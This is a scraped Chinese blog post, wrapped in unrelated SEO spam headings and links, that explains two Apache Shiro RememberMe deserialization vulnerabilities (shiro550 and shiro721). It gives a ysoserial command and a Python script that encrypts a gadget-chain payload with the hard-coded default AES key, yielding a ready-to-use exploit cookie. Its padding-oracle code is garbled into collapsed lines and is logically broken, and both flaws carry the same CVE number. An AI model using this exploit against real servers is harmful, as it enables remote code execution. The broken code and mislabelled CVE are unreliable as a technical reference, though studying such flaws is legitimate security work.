当前位置: 首页 > wzjs >正文

自己建网站的优势绿色网站模版

自己建网站的优势,绿色网站模版,qq推广引流怎么做,海外域名购买一、关于shiro介绍 简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。 二、漏洞分析 1.CVE-2019-12422-shiro550 漏洞原理…

一、关于shiro介绍
简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。

二、漏洞分析

1.CVE-2019-12422-shiro550
漏洞原理:shiro会对Remember Me功能带的cookie字段进行解密并进行反序列化,解密过程为base64解码------AES-CBC解密------反序列化,所以我们只需要逆向构造数据包就能触发漏洞,Apache Shiro ≤1.2.4版本的AES密钥是硬编码,尝试爆破常见的key就能触发。
在这里插入图片描述
目前市场上利用工具很多,手工构造也可以
使用工具生成反序列化文件,AES加密后结果base64密码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
在这里插入图片描述

from _ast import Lambda
from Crypto.Cipher import AES 
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)

2.CVE-2019-12422-shiro721
漏洞原理:影响1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基础上加入随机key,改变硬编码不能直接爆破key,但AES-128-CBC模式易受填充提示攻击(Padding Oracle Attack),攻击者需通过有效RememberMe Cookie作为前缀逐步爆破密钥,从而触发漏洞。利用难度较高,需要登录后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷进行了密钥破解。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模拟存在Padding Oracle漏洞的服务器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True  # 填充正确时返回Trueexcept (ValueError, KeyError):return False  # 填充错误或其他错误# 生成测试数据
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻击实现
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 从最后一个块开始攻击
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 构造测试块test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 计算当前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解当前字节found = Falsefor guess in range(256):# 构造中间值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 设置当前猜测字节test_block[byte_pos] = guess ^ padding_value# 构造完整的加密数据modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻击失败")print(f"原始明文: {plaintext}")
print(f"恢复的明文: {recovered_plaintext}")
http://www.dtcms.com/wzjs/841247.html

相关文章:

  • 海外网站购物平台有哪些百度资源分享网
  • 在酒店做那个网站好自己做网站广告法
  • 网站建设的标签指的是qq推广平台
  • 企业管理系统大全免费seo流量查询
  • 免费网站空间哪个好运城建设网站
  • 用服务器建立网站吗广告游戏
  • ih5做的网站怎么上传企业网站建设新闻发布
  • 深圳网站建设黄浦网络 技术差智慧团建pc端网址
  • 网站建设解决长沙做黄叶和网站的公司有哪些
  • 建设网站群的好处首页关键词排名优化
  • 织梦网站logo修改织梦cms使用教程
  • 东莞市传送机技术支持 网站建设wordpress 显示视频
  • 济南网站建设兼职大连云购物app下载安装到手机
  • mysql数据做彩票网站苏州商品关键词优化
  • 全网营销思路佛山网站优化
  • 有什么网站可以做运动鞋智慧团建网站登陆平台
  • 网站建设现状分析网站模板怎么用
  • 网站百度seo关键词优化合肥网站推广公司哪家好
  • 广州市网站建设企业深圳皇冠科技有限公司网站
  • 苏州市住房和城乡建设部网站校园服装网站建设演示文稿
  • 写作挣钱的网站什么视频网站可以做链接地址
  • 工业设备网站源码教你如何识别一个wordpress的主题
  • 文字网站居中八年级信息技术网站建立怎么做
  • 浙江高速建设公司网站网站建设 服务承诺
  • 沈阳网站建设定制眼镜厂官网
  • 电子商务网站开发需求分析新干线快递国内如何查单
  • 江西网站建设网络公司电商网站界面规范
  • 建国外网站需要多少钱室内设计学校前十
  • php猎奇源码 织梦新闻视频图片八卦娱乐趣事资讯门户网站模板搜索引擎优化不包括
  • 怎么给公司做网站wordpress模板和下载不同